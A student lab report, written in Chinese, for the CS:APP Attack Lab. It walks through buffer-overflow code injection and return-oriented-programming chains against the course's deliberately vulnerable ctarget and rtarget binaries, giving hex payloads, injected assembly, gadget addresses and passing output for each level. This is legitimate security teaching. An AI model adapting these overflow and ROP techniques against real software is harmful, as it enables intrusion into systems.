CS:APP AttackLab实验报告

CS:APP Attack Lab 实验报告

Cookie ID: 0x59b997fa

Target: Linux x86-64


Part I: Code Injection Attacks (ctarget)

在这一部分中,攻击手段主要是利用缓冲区溢出漏洞,将 shellcode 注入栈中并覆盖返回地址。

Level 1: Control Hijacking

目标:重定向程序流,使其在 getbuf 返回时执行 touch1 函数。

思路解析

  1. 确定缓冲区大小:反汇编 getbuf 函数,发现 sub $0x28, %rsp,说明缓冲区大小为 40 字节。

  2. 确定目标地址:反汇编 touch1 函数,找到其入口地址为 0x4017c0

  3. 构造 Payload

    使用 40 个字节的任意数据(如 00)填满缓冲区。

    紧接其后填入 touch1 的地址(8字节,小端序),覆盖原本的返回地址。

构造的字符串

Plaintext

1
2
3
4
5
6
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40 00 00 00 00 00

运行结果截图

1
2
3
4
5
6
7
8
9
10
ICS/attacklab/target1 via C v13.3.0-gcc took 16m59s
❯ ./hex2raw < c-level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Level 2: Injecting Code

目标:注入代码,将 Cookie (0x59b997fa) 作为参数传递给 touch2 并执行。

思路解析

  1. 参数传递:x86-64 架构中,第一个参数存放在 %rdi 寄存器。

  2. 注入代码编写:我们需要构造汇编指令 movq $0x59b997fa, %rdi

  3. 跳转处理 (Push-Ret 技巧)

    为了解决 Ubuntu 24.04+ 系统中 glibc 对栈 16 字节对齐的严格检查(防止 Segfault),我使用了 push $addr; ret 的方式跳转到 touch2,而不是直接 calljmp

    汇编代码:

    1
    2
    3
    movq $0x59b997fa, %rdi
    pushq $0x4017ec
    ret
  4. 栈地址定位:通过 GDB 调试发现缓冲区起始地址为 0x5561dc78

  5. Payload 结构:[注入代码] + [填充] + [覆盖返回地址指向缓冲区]。

构造的字符串

Plaintext

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

运行结果截图

1
2
3
4
5
6
7
8
9
10
ICS/attacklab/target1 via C v13.3.0-gcc
❯ ./hex2raw < c-level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Level 3: String Attack

目标:注入代码,传递 Cookie 的字符串表示("59b997fa")的地址给 touch3

思路解析

  1. 字符串存储:将字符串数据放在 Payload 的最末尾,紧跟在返回地址之后,以防止被覆盖。

  2. 地址计算

    栈起点:0x5561dc78

    偏移量:40字节(Buffer) + 8字节(Ret Addr) = 48字节 (0x30)。

    字符串地址 = 0x5561dc78 + 0x30 = 0x5561dca8

  3. 注入代码编写

    将计算出的字符串地址传给 %rdi

    同样使用 push $touch3; ret 技巧来维持栈对齐。

  4. Payload 结构:[注入代码] + [填充] + [覆盖返回地址指向缓冲区] + [字符串数据]。

构造的字符串

Plaintext

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

运行结果截图

1
2
3
4
5
6
7
8
9
10
ICS/attacklab/target1 via C v13.3.0-gcc
❯ ./hex2raw < c-level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61

Part II: Return-Oriented Programming (rtarget)

在这一部分,目标程序 rtarget 开启了随机化和 NX 保护。我们无法在栈上执行代码,只能利用程序现有的代码片段(Gadgets)进行攻击。

Level 2: ROP for Touch2

目标:利用 Gadget 链将 Cookie 放入 %rdi 并跳转到 touch2

思路解析

  1. 寻找 Gadget:我们需要一个能从栈上弹出数据到 %rdi 的指令。

    找到了 pop %rdi; ret (位于 0x4019ab)。

  2. 构造链条

    Padding (40字节)

    Gadget 1 地址 (pop %rdi)

    Cookie 数据 (0x59b997fa) —— pop 指令会把它取出来放进 %rdi

    目标函数地址 (touch2 = 0x4017ec)。

构造的字符串

Plaintext

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

运行结果截图

1
2
3
4
5
6
7
8
9
10
ICS/attacklab/target1 via C v13.3.0-gcc
❯ ./hex2raw < r-level2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level 3: ROP for Touch3

目标:利用 ROP 链传递字符串地址给 touch3

思路解析

  1. 难点:由于栈随机化,我们不知道字符串的确切地址。但字符串就在栈上(Payload 末尾),其地址等于 %rsp 加上某个偏移量。

  2. 核心逻辑:我们需要计算 %rsp + offset 并放入 %rdi

  3. Gadget 链设计

    mov %rsp, %rax; ret (0x401aad): 获取当前栈指针。

    mov %rax, %rdi; ret (0x4019a2): 转移到 %rdi

    pop %rax; ret (0x4019cc): 从栈上加载偏移量到 %rax

    mov %eax, %edx; ret (0x4019dd): 转移偏移量到 %rdx (准备加法)。

    add %rdx, %rdi; ret (0x401a70): %rdi = %rdi + %rdx (计算出字符串绝对地址)。

    mov %rdi, %rax; ret (0x401a13): 整理数据(根据 farm 结构可能需要,或作为 nop 链)。

    touch3 地址 (0x4018fa)。

    字符串数据 ("59b997fa").

构造的字符串

Plaintext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

运行结果截图

1
2
3
4
5
6
7
8
9
10
ICS/attacklab/target1 via C v13.3.0-gcc
❯ ./hex2raw < r-level3.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

实验总结

本次实验通过 5 个关卡深入理解了缓冲区溢出攻击的原理。

  1. 栈结构理解:在 Code Injection 阶段,深刻体会了返回地址在栈上的位置以及如何计算偏移量。
  2. 系统保护机制:在 rtarget 中遭遇了 NX 和 ASLR,迫使我放弃注入代码,转而寻找现有的 Gadget,通过 ROP 技术完成任务。
  3. 环境兼容性:在 ctarget Level 2/3 中,遇到了 Ubuntu 24.04 对栈对齐的检查导致的 Segfault。通过利用 push $addr; ret 代替直接跳转,成功利用 push%rsp 的修改修复了栈对齐问题。